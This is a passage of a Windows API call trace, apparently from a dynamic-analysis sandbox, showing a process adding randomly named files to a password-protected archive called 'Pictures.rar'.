[0065.157] ResetEvent (hEvent=0x190) returned 1 [0065.157] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.157] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.158] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0065.158] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.158] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x91010f [0065.158] SetFilePointer (in: hFile=0x198, lDistanceToMove=117, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x910184 [0065.158] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0065.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.158] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0065.158] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0065.158] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0065.158] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x8d60, lpOverlapped=0x0) returned 1 [0065.159] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0065.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.159] SetFilePointer (in: hFile=0x198, lDistanceToMove=9502991, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x91010f [0065.159] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x91010f [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.159] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fe80 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.159] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fed0 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.159] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fe80 [0065.159] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203cf0 [0065.159] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x167f30*=0x75, lpOverlapped=0x0) returned 1 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x75) returned 0x2a0b1d0 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.159] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x918ee4 [0065.159] CloseHandle (hObject=0x1b0) returned 1 [0065.159] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.160] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.160] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.160] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.160] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.160] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.160] GetTickCount () returned 0xa669cd [0065.160] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.160] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.160] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.160] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.160] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="UhrjNpf0XOWEy -M.png") returned 20 [0065.160] SetWindowTextW (hWnd=0x1024c, lpString="dn2lN2aa") returned 1 [0065.160] GetTickCount () returned 0xa669dc [0065.160] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.160] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.160] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.160] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x53) returned 0x3ba9290 [0065.160] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x87) returned 0x203cf0 [0065.160] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.160] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.161] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.161] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.161] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x918ee4 [0065.161] SetFilePointer (in: hFile=0x198, lDistanceToMove=91, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x918f3f [0065.161] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.161] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.161] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.161] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.161] CryptProtectMemory (in: pDataIn=0x276bde, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x276bde) returned 1 [0065.161] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539300, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918ee4 [0065.161] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x918ee4 [0065.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.161] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.161] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.161] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3e0, Size=0x53) returned 0x3ba9290 [0065.161] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x87) returned 0x203cf0 [0065.161] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x168180*=0x5b, lpOverlapped=0x0) returned 1 [0065.161] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.161] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.161] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918f3f [0065.161] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.161] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.161] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.161] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.162] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.162] GetTickCount () returned 0xa669dc [0065.162] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.162] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.162] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.162] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.162] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="dn2lN2aa") returned 8 [0065.162] SetWindowTextW (hWnd=0x1024c, lpString="0XRpWOZ7BIgaFl") returned 1 [0065.162] GetTickCount () returned 0xa669dc [0065.162] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.162] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.162] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.162] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.162] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.162] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.162] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.162] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3b0, Size=0x48) returned 0x26fed0 [0065.162] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203cf0 [0065.162] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.162] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.162] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.162] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.162] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x918f3f [0065.162] SetFilePointer (in: hFile=0x198, lDistanceToMove=80, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x918f8f [0065.162] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.162] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.162] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.162] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.162] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539391, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918f3f [0065.163] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x918f3f [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.163] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c380, Size=0x48) returned 0x26fed0 [0065.163] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203cf0 [0065.163] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x168180*=0x50, lpOverlapped=0x0) returned 1 [0065.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.163] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918f8f [0065.163] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.163] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.163] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.163] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.163] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.163] GetTickCount () returned 0xa669dc [0065.163] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.163] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.163] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.163] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.163] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="0XRpWOZ7BIgaFl") returned 14 [0065.163] SetWindowTextW (hWnd=0x1024c, lpString="UqtyoyIZxKksp3kD") returned 1 [0065.163] GetTickCount () returned 0xa669dc [0065.163] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.163] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.163] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.164] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x4a) returned 0x3ba9290 [0065.164] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x7c) returned 0x203cf0 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.164] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d4a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d4a0*=0) returned 0x918f8f [0065.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=82, lpDistanceToMoveHigh=0x16d470*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d470*=0) returned 0x918fe1 [0065.164] CryptUnprotectMemory (in: pDataIn=0x16d320, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d320) returned 1 [0065.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d2a0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.164] CryptUnprotectMemory (in: pDataIn=0x16cd00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cd00) returned 1 [0065.164] CryptUnprotectMemory (in: pDataIn=0x16ce00, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16ce00) returned 1 [0065.164] CryptUnprotectMemory (in: pDataIn=0x16cf80, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cf80) returned 1 [0065.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=9539471, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918f8f [0065.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x169b40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x169b40*=0) returned 0x918f8f [0065.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.164] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3e0, Size=0x4a) returned 0x3ba9290 [0065.164] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x7c) returned 0x203cf0 [0065.164] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x168180, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x168180*=0x52, lpOverlapped=0x0) returned 1 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3b0 | out: hHeap=0x1b0000) returned 1 [0065.164] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d460*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d460*=0) returned 0x918fe1 [0065.164] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.164] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.164] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.165] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.165] GetTickCount () returned 0xa669dc [0065.165] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.165] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.165] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.165] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.165] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="UqtyoyIZxKksp3kD") returned 16 [0065.165] SetWindowTextW (hWnd=0x1024c, lpString="9Cnbfi2a") returned 1 [0065.165] GetTickCount () returned 0xa669dc [0065.165] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3b0 [0065.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c3e0 [0065.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.165] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.165] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c3e0 | out: hHeap=0x1b0000) returned 1 [0065.165] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c3b0, Size=0x48) returned 0x26fed0 [0065.165] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.165] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.165] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.165] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, 